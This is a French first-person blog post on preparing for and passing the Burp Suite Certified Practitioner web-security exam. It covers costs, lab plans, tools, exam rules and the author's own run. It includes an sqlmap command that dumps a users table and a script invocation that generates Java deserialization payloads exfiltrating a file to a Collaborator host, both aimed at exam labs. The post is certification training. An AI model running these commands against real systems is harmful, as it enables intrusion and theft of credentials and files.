
Salut. Je viens de passer (et de valider) la Burp Suite Certified Practitioner, j’ai décidé de faire cet article pour répondre aux questions que l’on me pose et pour motiver les copains à passer cette merveilleuse certification ! Bonne lecture !
La certif en bref
-
Cours de préparation : la Web Security Academy est 100% gratuite. Seul le voucher d’examen est à payer. Tu peux donc bosser ton syllabus complet sans débourser un centime tant que tu n’as pas envie de tenter la certif.
-
Prix du voucher : 99 $ par tentative, mais le tarif change selon la devise. En pratique, £69.00 ou €89.00 selon la carte utilisée. Conversions au taux de mai 2026 :
- £69.00 ≈ 80 € ≈ 87 $
- €89.00 ≈ 96 $ ≈ 76 £
- 99 $ ≈ 92 € ≈ 79 £
En France avec 20% de TVA à rajouter : £69 revient à ~96 €, $99 à ~110 €, €89 à ~107 €. Le paiement en GBP est donc le moins cher, taxes comprises.
-
Pré-requis : licence Burp Suite Pro (~499 $/an). Obligatoire, l’examen demande l’upload du fichier projet
.burpà la fin. Une trial 30 jours est possible avec une adresse pro/école ou un domaine perso, donc pas forcément besoin de payer la licence ! (J’ai lu qu’il y avait des gens qui ont passé l’exam avec des versions trial sans souci) -
Format : 4 heures, deux applications web, trois étapes par appli :
- Obtenir un compte utilisateur
- Pivoter vers un compte admin
- Lire
/home/carlos/secretvia le panel admin
-
Pas de rapport à rendre. Tu valides chaque étape en récupérant successivement un compte user, un compte admin, puis le flag obtenu via la RCE, un simple copier-coller suffit.
-
Proctoring : webcam et micro allumés en permanence, partage de tous tes écrans, pièce d’identité à présenter. À noter : ça fonctionne maintenant sous Debian / Linux et sur la plupart des navigateurs modernes (contrairement à ce que disaient les vieux retex où c’était Windows + Chrome obligatoire).
-
À uploader à la fin : le fichier projet Burp (
.burp). -
Validité : à vie.
Mon background
J’ai passé la BSCP après la CWES et la CWEE, donc avec déjà une bonne base de pentest web. J’ai fait le parcours minimum recommandé pour estimer mon niveau et ma rapidité, puis ciblé ma prépa sur trois axes :
- Gagner en rapidité sur l’ensemble des vulns classiques et l’utilisation de Burp Suite.
- Automatiser la désérialisation (Java + PHP), tous les payloads pré-générés à l’avance.
- Vitesse sur XSS et DOM XSS, à mon sens ce qui peut prendre le plus de temps pendant l’examen.
Si tu pars de zéro, prévois plus de temps : compte 3 à 4 mois de préparation. Les cours sont vraiment bien faits, et c’est important que tu comprennes en profondeur tous les types de vulns que tu peux rencontrer, et pas juste copier-coller les payloads sans les comprendre.
Préparation
PortSwigger documente précisément la liste sur cette page : How to prepare for the BSCP exam.
Step 1 : compléter au moins un lab Practitioner par topic de la Web Security Academy, soit 23 labs au total (un par topic, aucun à zapper).
Step 2 : faire ces 8 labs spécifiques, parce qu’ils couvrent des techniques considérées comme essentielles par PortSwigger :
- Exploiting cross-site scripting to steal cookies
- Blind SQL injection with out-of-band data exfiltration
- Forced OAuth profile linking
- Brute-forcing a stay-logged-in cookie
- Exploiting HTTP request smuggling to capture other users’ requests
- SSRF with blacklist-based input filter
- SQL injection with filter bypass via XML encoding
- Discovering vulnerabilities quickly with targeted scanning
Step 3 : enchaîner les Mystery Labs. PortSwigger en fait tirer cinq aléatoires comme test, vise plutôt 30 à 50 pour bien construire ta méthodologie.
Step 4 : faire les Practice Exams (2 disponibles, 2h chacun, une appli). Conditions réelles, sans aide. Si tu les passes proprement sans regarder de solution, tu es (presque) prêt.
La meilleure ressource pour préparer la BSCP, c’est le repo Botesjuan. Il couvre toutes les catégories de vulns du syllabus avec payloads, chaînes d’exploitation et liens vers les labs. Pas besoin de réinventer la roue : je l’ai utilisé en support de tous mes Mystery Labs. À noter quand même : à l’examen tu peux tomber sur des variantes de payload non documentées qu’il faut adapter, j’ai eu le cas.
J’ai très vite arrêté de tenir des notes parallèles. J’ai cloné le repo Botesjuan en ajoutant mes propres notes dedans (bon j’avoue, j’ai quasiment rien ajouté).

Toolkit
Extensions Burp à installer depuis le BApp Store :
| Extension | Usage |
|---|---|
| HTTP Request Smuggler | Détection et exploit de smuggling |
| Param Miner | Paramètres et headers cachés |
| JWT Editor | Toutes les attaques JWT |
| Hackvertor | Encodage/décodage en chaîne |
| Collaborator Everywhere | Spray le Collaborator partout |
| ActiveScan++ | Scan amélioré, à laisser tourner |
| Java Deserialization Scanner | Self-explanatory |
Hors Burp :
Il existe plusieurs scanners qui pré-identifient les vulns (WSAAR, Botesjuan/identify, rustyBSCP du goat RORO!) : je les ai tous lancés pendant l’examen, et ça ne m’a pas fait gagner de temps.
sqlmap passe toutes les SQLi de l’examen, cette commande magique te rendra heureux si tu trouves une sqli à ton examen :
sqlmap -u "https://url.net/icilargumentfrero?search=gourmand*&sortby=glace" --cookie="cookie1=XXXXX; cookie2=XXXXX" --batch --level=3 --risk=3 --dump -T users
ysoserial pour la désérialisation Java, phpggc pour la désérialisation PHP (peut tomber à l’examen au même titre que la Java, ne le néglige pas), CyberChef pour les manipulations d’encodage rapides.
La désérialisation Java peut apparaître à l’étape 3 (RCE finale qui lit /home/carlos/secret). J’ai donc créé un script (un peu bricolé mais qui a fait le job pour l’examen) qui sort une wordlist personnalisée de payloads à coller dans Intruder pour récupérer le flag.
Il s’agit de YoyoSerialBSCP : il génère automatiquement des payloads pour les 34 gadget chains de ysoserial avec encodages (base64, hex, gzip) prêts pour Intruder, et propose un mode exfiltration dédié BSCP (cible /home/carlos/secret par défaut, exfil via Collaborator ou Exploit Server). Exemples :
python3 ysoserial_exfil.py --collab abc123.oastify.com
Tu charges le payloads.txt généré dans Intruder, tu désactives l’encodage des payloads côté Intruder (le script encode déjà), et tu lances. C’est la méthode la plus rapide pour boucler une RCE par désérialisation.
Examen
Préparation matérielle : Burp Pro à jour avec projet vierge prêt, toutes les extensions citées plus haut activées et configurées, cheat sheet ouverte dans le navigateur, webcam et micro vérifiés, pièce d’identité sortie, de quoi boire à portée de main. Déconnecte toutes les sources de perturbation (Discord, notifs OS, mail, etc.). Une petite musique motivante en fond pour rester focus : du genre.
Les règles du jeu (officielles, à connaître par cœur)
Source : la page officielle How the BSCP exam process works. À lire en entier avant l’examen, sérieusement.
- Pas de fichiers ni de pages cachés. Tu n’as jamais besoin de dirbuster, gobuster ou de deviner des noms de paramètres. Tout est accessible naturellement.
- Comptes existants : il y a toujours un compte
administrator, et généralement (pas toujours) un compte low-privcarlos. Le but ultime est de lire/home/carlos/secretvia le panel admin. - Active user : “up to one active user” par appli (donc 0 ou 1), connecté soit comme
administrator, soit (très souvent, mais pas forcément, ça peut être un autre de la wordlist) commecarlos. - Comportement de la victime active : elle visite la homepage toutes les 15 secondes et clique automatiquement sur tout lien dans un mail envoyé depuis l’app, elle charge également les payloads envoyés par le serveur d’exploit. Utile pour XSS, CSRF, OAuth, etc.
- Wordlists officielles pour brute-force / cluster bomb : utilise uniquement celles de PortSwigger : auth-lab-usernames et auth-lab-passwords. Pas la peine de sortir rockyou.
- SSRF interne : la cible est toujours
localhost:6566. Pas d’autres ports à scanner. - Host Header attacks autorisées, et les cookies
_labet_lab_analyticssont réservés au système , ce ne sont pas des vecteurs valides. - Tu peux casser ton instance définitivement : ne supprime pas ton compte, l’admin, ou des fichiers système via RCE (source officielle).
Mapping vulns par étape
Deux cartographies utiles existent, basées sur des sources différentes. À ne pas confondre.
1. Le mapping Botesjuan (empirique). Vulnérabilités réellement rencontrées en examen par des candidats, consolidées dans son repo. (l’examen a évolué depuis, ne te repose pas dessus ;) )

2. Le mapping Micah Van Deusen (théorique). Croisement par catégorie de vuln et stage probable, basé sur le syllabus PortSwigger et son examen. Plus généraliste. Dispo dans son retex BSCP :
| Catégorie | Stage 1 | Stage 2 | Stage 3 |
|---|---|---|---|
| SQL Injection | ✔️ | ✔️ | |
| Cross-site scripting | ✔️ | ✔️ | |
| Cross-site request forgery (CSRF) | ✔️ | ✔️ | |
| Clickjacking | ✔️ | ✔️ | |
| DOM-based vulnerabilities | ✔️ | ✔️ | |
| Cross-origin resource sharing (CORS) | ✔️ | ✔️ | |
| XML external entity (XXE) injection | ✔️ | ||
| Server-side request forgery (SSRF) | ✔️ | ||
| HTTP request smuggling | ✔️ | ✔️ | |
| OS command injection | ✔️ | ||
| Server-side template injection | ✔️ | ||
| Directory traversal | ✔️ | ||
| Access control vulnerabilities | ✔️ | ✔️ | |
| Authentication | ✔️ | ✔️ | |
| Web cache poisoning | ✔️ | ✔️ | |
| Insecure deserialization | ✔️ | ||
| HTTP Host header attacks | ✔️ | ✔️ | |
| OAuth authentication | ✔️ | ✔️ | |
| File upload vulnerabilities | ✔️ | ||
| JWT | ✔️ | ✔️ |
Étape 1 - accès à un compte utilisateur XSS, CSRF, Clickjacking, DOM-based, CORS, HTTP request smuggling, access control, authentication, web cache poisoning, HTTP Host header, OAuth, JWT.
Étape 2 - pivot vers admin Pareil que Stage 1, plus SQL injection.
Étape 3 - RCE et lecture de /home/carlos/secret
SQL injection, XXE, SSRF (vers localhost:6566), OS command injection, SSTI, directory traversal, insecure deserialization (Java avec ysoserial, PHP avec phpggc), file upload.
⚠️ À prendre comme une indication, pas comme une règle. Ces deux mappings viennent de retex communautaires, pas d’un document officiel PortSwigger.
Stratégie de scan et de brute-force
L’idée c’est de paralléliser. Dès le début :
- App 2 : lancer un scan crawl & audit en mode medium sur la racine. Tu le laisses tourner pendant que tu travailles ailleurs.
- App 1 : un scan light pour ne pas perdre de temps, tu attaques en manuel en parallèle.
- En même temps, lance un Intruder cluster bomb sur le login avec les wordlists
auth-lab-usernames×auth-lab-passwords. Sur les apps avec un endpoint de login standard, ça peut te sortir un compte user pendant que tu fais autre chose. - Pendant les phases suivantes, spam scan par insertion point sur chaque paramètre suspect. J’insiste sur ce scan par insertion car il peut voir des choses que le scan général va louper et surtout il est plus rapide car il y a un rate-limit qui bride les requêtes des scans pendant l’examen.
- Si tu es bloqué sur l’app 1 et que le scan de l’app 2 est terminé sans rien de probant, ne perds pas de temps : envoie un scanner spécialisé (HTTP Request Smuggler par exemple) pour défricher pendant que tu continues.
Tips concrets
- Très peu de rabbit holes à la BSCP. Si tu vois un message
"caractère interdit", ou tout autre message d’erreur personnalisé, t’es à 99% sur la bonne piste. Persévère. - Face à une blacklist, fuzz caractère par caractère puis mot par mot. L’examen est court et les filtres sont en général verbeux (ils te disent ce qui a été bloqué, ou retournent une erreur différente selon ce qui passe). Lance un Intruder sur chaque caractère ASCII puis sur les mots-clés SQL/JS pour identifier précisément la blacklist, puis adapte ton payload.
- Combine systématiquement Exploit Server + Collaborator. Quand un payload ne déclenche pas via Collaborator, retente via l’Exploit Server. Et inversement. (des fois l’un marche et pas l’autre)
- L’Exploit Server fournit aussi une adresse email utilisable pour recevoir des messages (OAuth, password reset, liens d’invitation).
- Le lab
Discovering vulnerabilities quickly with targeted scanningest ton ami. Refais-le 5 fois avant l’examen, c’est exactement la méthodo que tu vas appliquer en boucle pendant 4h. - La victime tourne sous Chromium : tes payloads XSS doivent y fonctionner (pas de syntaxe Firefox-only).
- Sauvegarde le projet Burp régulièrement, et upload le fichier
.burpà la fin. Sans ça, échec administratif peu importe les flags.
Mon expérience pendant les 4h
Démarrage : je lance Examinity, ID validé, musique en fond, c’est parti. Premier réflexe : scan light app 1 + scan medium app 2 + Intruder cluster bomb sur le login de l’app 1 avec les wordlists PortSwigger, tout en parallèle.
App 1 - 3 flags en 20 minutes. Tout s’enchaîne. Je trouve la première step avant même que le scan ne me sorte quelque chose d’utile. La deuxième step est évidente, une seule fonction exploitable, aucun doute. Pour la troisième, un scan par insertion point me sort la vuln en 5 minutes et je n’ai qu’à coller un payload déjà prêt. Je suis en mode “ça va être fini en 1h, ez”.

App 2 - coup de massue. Je reste hard stuck pendant presque 3 heures sur le 1er flag. La vuln que je suspecte renvoie systématiquement un message d’interdiction custom dès que je tente un bypass. Constat : la vuln était dans le bon stage selon le mapping “indicatif”, mais aucun des payloads des labs PortSwigger ni du repo Botesjuan ne fonctionnait. J’ai dû improviser, combiner deux techniques entre elles, et fuzzer la blacklist caractère par caractère pour comprendre ce qui passait. C’est ce qui m’a fait perdre un temps fou : j’ai testé tous les bypass connus et trouvables en ligne, considéré ça comme un rabbit hole, avant d’accepter qu’il fallait construire le mien.

Après avoir épuisé toutes les fonctionnalités et tous les scans sans rien trouver d’autre, je reviens sur mon hypothèse initiale, persuadé que c’est bien là qu’il faut creuser. Bingo.
Et juste à ce moment-là : alors que je débloque enfin le 1er flag de l’app 2, l’outil de proctoring fait freeze (et freeze lui-même) mon PC sous Debian. Impossible d’interagir avec l’OS de mon ordinateur, je n’ai plus qu’une fenêtre cli, ma fenêtre Chromium courante et Burp utilisables. Pire : j’avais deux fenêtres Chromium à la base, j’en ai réduit une, impossible de la remonter. Pas envie de reboot pendant l’examen vu que mon PC était monitoré via partage écran + caméra, ni de perdre trop de temps à debug en risquant de faire une bêtise, j’aurais eu l’air très louche côté proctoring. Donc je termine les dernières minutes avec ce que j’ai sous la main et en espérant que le proctoring tourne toujours.

Heureusement, les 2 derniers flags tombent en 10 minutes : la vuln d’étape 2 était quasi offerte par un outil externe à Burp 👀, et celle d’étape 3 s’est laissée trouver par un simple scan par insertion point, rien de particulièrement dur. Je termine l’examen avec environ 20 minutes d’avance, des gouttes de sueur sur le front et un PC à moitié mort.
Très heureux d’avoir réussi du premier coup, parce qu’à mi-parcours je n’y croyais plus du tout.
Ce qu’il faut en retenir :
- L’étape 1 est souvent la plus longue. Une fois rentré dans l’appli, le reste s’enchaîne vite parce que tu connais déjà l’environnement, les fonctions, les filtres, et les nouvelles fonctionnalités accessibles deviennent évidentes.
- Pas de rabbit hole, mais aucune garantie sur les payloads. Il a fallu adapter ou construire des payloads custom (pas un copier-coller depuis Botesjuan ou PortSwigger).
- Fais confiance aux signaux de l’app. Un message d’erreur custom n’est jamais là par hasard.
- Teste ton setup OS + proctoring en amont. Surtout sous Linux.
Ressources
- Web Security Academy : la base, gratuite, complète.
- How to prepare for BSCP : la page officielle qui liste tout ce qui est obligatoire.
- Botesjuan, Burp Suite Certified Practitioner Exam Study : la ressource.
- YoyoSerialBSCP : mon script de génération de payloads de désérialisation Java prêts pour Intruder, mode exfil BSCP dédié.
- DCKento, BSCP Notes : notes alternatives bien organisées, utile en complément.
- Nishacid, BSCP : tips concrets et structurés.
- at0m.space, De zéro à la BSCP : retex francophone détaillé.
Honnêtement, je ne peux que recommander cette certification. Pour son prix très accessible, pour la qualité de ses ressources entièrement gratuites, et pour la diversité technique qu’elle couvre côté web. L’examen en lui-même n’est pas si dur, à condition d’avoir sérieusement bossé les labs recommandés (et encore une fois, c’est gratuit, tu peux en faire autant que tu veux).
Prépare-toi proprement, garde la tête froide le jour J, et fais confiance aux signaux que les applis te renvoient. Pour aller plus loin après, regarde la CWEE chez HTB.
GLHF, et n’hésite pas à me ping sur discord si t’as des questions.